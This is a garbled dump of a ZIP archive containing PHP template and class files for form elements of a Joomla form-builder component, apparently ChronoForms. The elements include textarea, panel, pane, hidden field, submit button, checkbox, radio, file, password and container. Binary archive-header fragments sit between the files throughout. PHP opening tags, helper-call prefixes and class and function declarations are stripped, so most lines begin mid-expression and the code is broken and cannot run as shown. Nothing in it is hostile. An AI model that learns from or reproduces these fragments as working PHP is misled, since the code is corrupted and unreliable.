input('chronofield[{n}][input_textarea_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_textarea_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'editors' => 'Editors', 'validation' => 'Validation'), 'input_textarea_element_config_{n}'); ?> tabStart('general'); ?> input('input_textarea_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_textarea_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_cols_config', array('type' => 'text', 'label' => 'Field Columns', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_rows_config', array('type' => 'text', 'label' => 'Field Rows', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_textarea_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_textarea_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_textarea_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_textarea_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_textarea_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_textarea_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_textarea_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('editors'); ?> input('input_textarea_{n}_wysiwyg_editor_config', array('type' => 'checkbox', 'label' => 'Enable WYSIWYG Editor', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Enable the WYSIWYG editor for this text area ?')); ?> input('input_textarea_{n}_editor_buttons_config', array('type' => 'checkbox', 'label' => 'Show editor buttons', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Enable the editor buttons ?')); ?> input('input_textarea_{n}_editor_width_config', array('type' => 'text', 'label' => 'Editor Width', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_editor_height_config', array('type' => 'text', 'label' => 'Wditor Height', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_textarea_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PKs>\1com_chronoforms/form_elements/input_panel_end.ctpnuW+A
      Panel End
      input('chronofield[{n}][input_panel_end_{n}_tab_key]', array('type' => 'hidden', 'id' => 'input_panel_end_{n}_tab_key', 'value' => $element_params['tab_key'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_panel_end_element_config_{n}'); ?> tabStart('settings'); ?> input('input_panel_end_{n}_tab_key_config', array('type' => 'text', 'label' => 'Tab Key', 'class' => 'small_input', 'smalldesc' => 'Your tab key which should exist in the tabs list in the "Tab Pane" element.')); ?> tabEnd(); ?> tabStart('help'); ?> This element will close an opened panel. tabEnd(); ?>
      PKs>\)'com_chronoforms/form_elements/.htaccessnuW+A Order allow,deny Deny from all PKs>\fjR.com_chronoforms/form_elements/input_hidden.phpnuW+A 'input_hidden_{n}', 'input_id' => '', 'label_text' => '# {n}', 'container_id' => 0, 'input_value' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\~~2com_chronoforms/form_elements/input_pane_start.phpnuW+A 'pane_{n}', 'pane_type' => 'tabs', 'container_id' => 0, 'pane_start' => 0 ); } return array('element_params' => $element_params); } } ?>PKs>\u0com_chronoforms/form_elements/input_pane_end.ctpnuW+A
      Pane End
      input('chronofield[{n}][input_pane_end_{n}_tab_key]', array('type' => 'hidden', 'id' => 'input_pane_end_{n}_tab_key', 'value' => $element_params['tab_key'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_pane_end_element_config_{n}'); ?> tabStart('settings'); ?> input('input_pane_end_{n}_tab_key_config', array('type' => 'text', 'label' => 'Tab Key', 'class' => 'small_input', 'smalldesc' => 'Your tab key which should exist in the tabs list in the "Tab Pane" element.')); ?> tabEnd(); ?> tabStart('help'); ?> This element will close an opened pane. tabEnd(); ?>
      PKs>\P~ftt3com_chronoforms/form_elements/input_panel_start.phpnuW+A 'panel_{n}', 'container_id' => 0, 'panel_label' => 'Example Panel {n}' ); } return array('element_params' => $element_params); } } ?>PKs>\@1com_chronoforms/form_elements/input_panel_end.phpnuW+A 0, ); } return array('element_params' => $element_params); } } ?>PKs>\U3com_chronoforms/form_elements/input_panel_start.ctpnuW+A
      Panel Start
      input('chronofield[{n}][input_panel_start_{n}_panel_id]', array('type' => 'hidden', 'id' => 'input_panel_start_{n}_panel_id', 'value' => $element_params['panel_id'])); ?> input('chronofield[{n}][input_panel_start_{n}_panel_label]', array('type' => 'hidden', 'id' => 'input_panel_start_{n}_panel_label', 'value' => $element_params['panel_label'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_panel_start_element_config_{n}'); ?> tabStart('settings'); ?> input('input_panel_start_{n}_panel_id_config', array('type' => 'text', 'label' => 'Panel ID', 'class' => 'small_input', 'smalldesc' => 'Your panel id, make sure its unique in your Pane.')); ?> input('input_panel_start_{n}_panel_label_config', array('type' => 'text', 'label' => 'Panel Label', 'class' => 'small_input', 'smalldesc' => 'Your panel label text.')); ?> tabEnd(); ?> tabStart('help'); ?> This element will start a new panel, make sure that your panel is started inside an opened "Pane". tabEnd(); ?>
      PKs>\(com_chronoforms/form_elements/index.htmlnuW+APKs>\mh 2com_chronoforms/form_elements/input_pane_start.ctpnuW+A
      Pane Start
      input('chronofield[{n}][input_pane_start_{n}_pane_id]', array('type' => 'hidden', 'id' => 'input_pane_start_{n}_pane_id', 'value' => $element_params['pane_id'])); ?> input('chronofield[{n}][input_pane_start_{n}_pane_type]', array('type' => 'hidden', 'id' => 'input_pane_start_{n}_pane_type', 'value' => $element_params['pane_type'])); ?> input('chronofield[{n}][input_pane_start_{n}_pane_start]', array('type' => 'hidden', 'id' => 'input_pane_start_{n}_pane_start', 'value' => $element_params['pane_start'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_pane_start_element_config_{n}'); ?> tabStart('settings'); ?> input('input_pane_start_{n}_pane_id_config', array('type' => 'text', 'label' => 'Pane ID', 'class' => 'big_input', 'smalldesc' => 'The id of your pane, should be unique one in your form.')); ?> input('input_pane_start_{n}_pane_type_config', array('type' => 'select', 'label' => 'Pane Type', 'options' => array('tabs' => 'Tabs', 'sliders' => 'Sliders'), 'smalldesc' => 'Select the type of your Pane.')); ?> input('input_pane_start_{n}_pane_start_config', array('type' => 'text', 'label' => 'Pane Start Offset', 'class' => 'small_input', 'smalldesc' => 'The numeric key of the panel which will be active on start, for first panel use 0, for the 2nd use 1,...etc')); ?> tabEnd(); ?> tabStart('help'); ?> This element will start a new pane, you will need to enter your panels inside this pane. tabEnd(); ?>
      PKs>\JK .com_chronoforms/form_elements/input_hidden.ctpnuW+A
      Hidden Box
      input('chronofield[{n}][input_hidden_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_hidden_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_hidden_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_hidden_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_label_text', 'value' => $element_params['label_text'])); ?>
      input('input_hidden_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'medium_input', 'smalldesc' => 'Some text to identify your field in the wizard.')); ?> input('input_hidden_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_hidden_{n}_input_value_config', array('type' => 'text', 'label' => 'Field default value', 'class' => 'small_input', 'value' => '')); ?> input('input_hidden_{n}_input_id_config', array('type' => 'text', 'label' => 'Field id', 'class' => 'small_input', 'value' => '')); ?>
      PKs>\T0com_chronoforms/form_elements/input_pane_end.phpnuW+A 0, ); } return array('element_params' => $element_params); } } ?>PKs>\=?1||.com_chronoforms/form_elements/input_custom.phpnuW+A 'input_custom_{n}', 'label_id' => 'input_custom_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'input_name' => 'input_custom_{n}', 'input_id' => 'input_id_{n}', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'code' => '', 'clean' => '', ); } return array('element_params' => $element_params); } } ?>PKs>\d0}}.com_chronoforms/form_elements/input_submit.ctpnuW+A
      Submit Button
      input('chronofield[{n}][input_submit_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_submit_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_submit_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_submit_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_submit_{n}_button_type]', array('type' => 'hidden', 'id' => 'input_submit_{n}_button_type', 'value' => $element_params['button_type'])); ?> input('chronofield[{n}][input_submit_{n}_button_align]', array('type' => 'hidden', 'id' => 'input_submit_{n}_button_align', 'value' => $element_params['button_align'])); ?> input('chronofield[{n}][input_submit_{n}_back_button]', array('type' => 'hidden', 'id' => 'input_submit_{n}_back_button', 'value' => $element_params['back_button'])); ?> input('chronofield[{n}][input_submit_{n}_reset_button]', array('type' => 'hidden', 'id' => 'input_submit_{n}_reset_button', 'value' => $element_params['reset_button'])); ?> input('chronofield[{n}][input_submit_{n}_back_button_value]', array('type' => 'hidden', 'id' => 'input_submit_{n}_back_button_value', 'value' => $element_params['back_button_value'])); ?> input('chronofield[{n}][input_submit_{n}_reset_button_value]', array('type' => 'hidden', 'id' => 'input_submit_{n}_reset_button_value', 'value' => $element_params['reset_button_value'])); ?> input('chronofield[{n}][input_submit_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_submit_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_submit_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_submit_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other'), 'input_submit_element_config_{n}'); ?> tabStart('general'); ?> input('input_submit_{n}_input_name_config', array('type' => 'text', 'label' => 'Name', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_input_id_config', array('type' => 'text', 'label' => 'ID', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_input_value_config', array('type' => 'text', 'label' => 'Text', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_input_class_config', array('type' => 'text', 'label' => 'Class', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_button_type_config', array('type' => 'select', 'label' => 'Button Type', 'options' => array('submit' => 'Submit', 'button' => 'Regular Button'), 'smalldesc' => 'A regular button will NOT submit the form, but may be useful in AJAX forms.')); ?> input('input_submit_{n}_back_button_config', array('type' => 'checkbox', 'label' => 'Add Back Button', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_submit_{n}_back_button_value_config', array('type' => 'text', 'label' => 'Back Button Text', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_reset_button_config', array('type' => 'checkbox', 'label' => 'Add Reset Button', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_submit_{n}_reset_button_value_config', array('type' => 'text', 'label' => 'Reset Button Text', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_submit_{n}_button_align_config', array('type' => 'select', 'label' => 'Button Align', 'options' => array('left' => 'Left', 'center' => 'Center', 'right' => 'Right'), 'smalldesc' => 'The alignment of this button element.')); ?> input('input_submit_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_submit_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?>
      PKs>\\p@ @ 6com_chronoforms/form_elements/input_checkbox_group.phpnuW+A 'input_checkbox_group_{n}', 'label_id' => 'input_checkbox_group_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'enable_dynamic_data' => 0, 'data_path' => '', 'value_key' => '', 'text_key' => '', 'radios_over' => '0', 'input_name' => 'input_checkbox_group_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_title' => '', 'checked' => '', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'options' => "choice 1=Choice 1\nchoice 2=Choice 2\nchoice 3=Choice 3"); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['selected'] = $formdata_element[$field_header.'_checked']; $temp_options = explode("\n", $formdata_element[$field_header.'_options']); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $formcontent_item_array['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['radios_over'] = $formdata_element[$field_header.'_radios_over']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['enable_dynamic_data'] = $formdata_element[$field_header.'_enable_dynamic_data']; $formcontent_item_array['data_path'] = $formdata_element[$field_header.'_data_path']; $formcontent_item_array['value_key'] = $formdata_element[$field_header.'_value_key']; $formcontent_item_array['text_key'] = $formdata_element[$field_header.'_text_key']; $formcontent_item_array['multiple'] = 'checkbox'; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\T | | -com_chronoforms/form_elements/input_radio.phpnuW+A 'input_radio_{n}', 'label_id' => 'input_radio_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'radios_over' => '0', 'input_name' => 'input_radio_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_title' => '', 'enable_dynamic_data' => 0, 'data_path' => '', 'value_key' => '', 'text_key' => '', 'input_value' => '', 'options' => 'No=No'."\n".'Yes=Yes', 'legend' => '', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ if(!empty($formdata_element[$field_header.'_input_value'])){ $formcontent_item_array['value'] = $formdata_element[$field_header.'_input_value']; } $temp_options = explode("\n", $formdata_element[$field_header.'_options']); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $formcontent_item_array['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } $formcontent_item_array['legend'] = $formdata_element[$field_header.'_legend']; $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['enable_dynamic_data'] = $formdata_element[$field_header.'_enable_dynamic_data']; $formcontent_item_array['data_path'] = $formdata_element[$field_header.'_data_path']; $formcontent_item_array['value_key'] = $formdata_element[$field_header.'_value_key']; $formcontent_item_array['text_key'] = $formdata_element[$field_header.'_text_key']; $formcontent_item_array['radios_over'] = $formdata_element[$field_header.'_radios_over']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\% 0com_chronoforms/form_elements/input_textarea.phpnuW+A 'input_textarea_{n}', 'label_id' => 'input_textarea_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'wysiwyg_editor' => '0', 'editor_buttons' => '1', 'editor_width' => '400', 'editor_height' => '200', 'input_name' => 'input_textarea_{n}', 'input_id' => '', 'input_value' => '', 'input_class' => '', 'input_title' => '', 'validations' => '', 'instructions' => '', 'input_rows' => '12', 'tooltip' => '', 'container_id' => 0, 'input_cols' => '45'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['cols'] = $formdata_element[$field_header.'_input_cols']; $formcontent_item_array['rows'] = $formdata_element[$field_header.'_input_rows']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['wysiwyg_editor'] = $formdata_element[$field_header.'_wysiwyg_editor']; $formcontent_item_array['editor_buttons'] = $formdata_element[$field_header.'_editor_buttons']; $formcontent_item_array['editor_width'] = $formdata_element[$field_header.'_editor_width']; $formcontent_item_array['editor_height'] = $formdata_element[$field_header.'_editor_height']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\$  ,com_chronoforms/form_elements/input_file.phpnuW+A 'input_file_{n}', 'label_id' => 'input_file_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_file_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_class' => '', 'input_title' => '', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\)>2com_chronoforms/form_elements/input_page_break.ctpnuW+A
      Page Break
      input('chronofield[{n}][input_page_break_{n}_page_label]', array('type' => 'hidden', 'id' => 'input_page_break_{n}_page_label', 'value' => $element_params['page_label'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_page_break_element_config_{n}'); ?> tabStart('settings'); ?> input('input_page_break_{n}_page_label_config', array('type' => 'text', 'label' => 'Page Label', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('help'); ?> This element will start a new form page, you should configure the page shown under the "Show HTML" action settings, each form page can be inside its own Event.

      If you want to do the same inside a custom code then please use this formula: '); ?> tabEnd(); ?>
      PKs>\I)1com_chronoforms/form_elements/input_container.ctpnuW+A
      Container
      Collapse input('chronofield[{n}][input_container_{n}_area_label]', array('type' => 'hidden', 'id' => 'input_container_{n}_area_label', 'value' => $element_params['area_label'])); ?> input('chronofield[{n}][input_container_{n}_collapsed]', array('type' => 'hidden', 'id' => 'input_container_{n}_collapsed', 'value' => $element_params['collapsed'])); ?> input('chronofield[{n}][input_container_{n}_container_type]', array('type' => 'hidden', 'id' => 'input_container_{n}_container_type', 'value' => $element_params['container_type'])); ?> input('chronofield[{n}][input_container_{n}_container_class]', array('type' => 'hidden', 'id' => 'input_container_{n}_container_class', 'value' => $element_params['container_class'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_container_element_config_{n}'); ?> tabStart('settings'); ?> input('input_container_{n}_area_label_config', array('type' => 'text', 'label' => 'Area Label', 'class' => 'small_input', 'value' => '')); ?> input('input_container_{n}_container_type_config', array('type' => 'select', 'label' => 'Container Type', 'options' => array('' => 'Virtual (none)', 'div' => 'Div', 'fieldset' => 'Field Set', 'tabs_area' => 'Tabs Area', 'tab' => 'Tab', 'sliders_area' => 'Sliders Area', 'slider' => 'Slider', 'custom' => 'Custom'), 'smalldesc' => 'Virtual = no output, Custom mode output can be inserted below.')); ?> input('input_container_{n}_container_class_config', array('type' => 'text', 'label' => 'Container Class', 'class' => 'small_input', 'value' => '')); ?> input('input_container_{n}_start_code_config', array('type' => 'textarea', 'label' => 'Start Code', 'rows' => 5, 'cols' => 50, 'style' => 'width:380px !important;', 'smalldesc' => 'The code to be inserted at the start of the container when in "custom" mode.')); ?> input('input_container_{n}_end_code_config', array('type' => 'textarea', 'label' => 'End Code', 'rows' => 5, 'cols' => 50, 'style' => 'width:380px !important;', 'smalldesc' => 'The code to be inserted at the end of the container when in "custom" mode.')); ?> input('input_container_{n}_collapsed_config', array('type' => 'hidden', 'value' => '')); ?> tabEnd(); ?> tabStart('help'); ?> Select the container type and drag other elements inside, the "Virtual" type will not have any output in the form code, use it if you want to save space or oragnize your wizard view.

      If you need a "Tabs" box then you will have to have multiple containers configured to "Tab" inside a parent container configured to "Tabs Area", same applies to "Sliders". tabEnd(); ?>
      PKs>\Eɭ 0com_chronoforms/form_elements/input_password.phpnuW+A 'input_password_{n}', 'label_id' => 'input_password_{n}_label', 'label_text' => 'Enter password', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'input_name' => 'input_password_{n}', 'input_id' => '', 'input_value' => '', 'input_class' => '', 'input_title' => '', 'input_maxlength' => '150', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'input_size' => '30'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['maxlength'] = $formdata_element[$field_header.'_input_maxlength']; $formcontent_item_array['size'] = $formdata_element[$field_header.'_input_size']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PKs>\p00com_chronoforms/form_elements/input_checkbox.ctpnuW+A
      Checkbox
      input('chronofield[{n}][input_checkbox_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_checkbox_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_checkbox_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_checkbox_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_checkbox_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_checkbox_{n}_checked]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_checked', 'value' => $element_params['checked'])); ?> input('chronofield[{n}][input_checkbox_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_checkbox_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_checkbox_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_checkbox_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_checkbox_{n}_label_position]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_label_position', 'value' => $element_params['label_position'])); ?> input('chronofield[{n}][input_checkbox_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_checkbox_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_checkbox_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost'), 'input_checkbox_element_config_{n}'); ?> tabStart('general'); ?> input('input_checkbox_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_checkbox_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_checkbox_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_checkbox_{n}_checked_config', array('type' => 'checkbox', 'label' => 'Checked', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_{n}_label_position_config', array('type' => 'select', 'label' => 'Label Position', 'options' => array('left' => 'Left', 'right' => 'Right'), 'smalldesc' => 'Right is more appropriate for things like "accept terms and conditions".')); ?> input('input_checkbox_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_checkbox_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 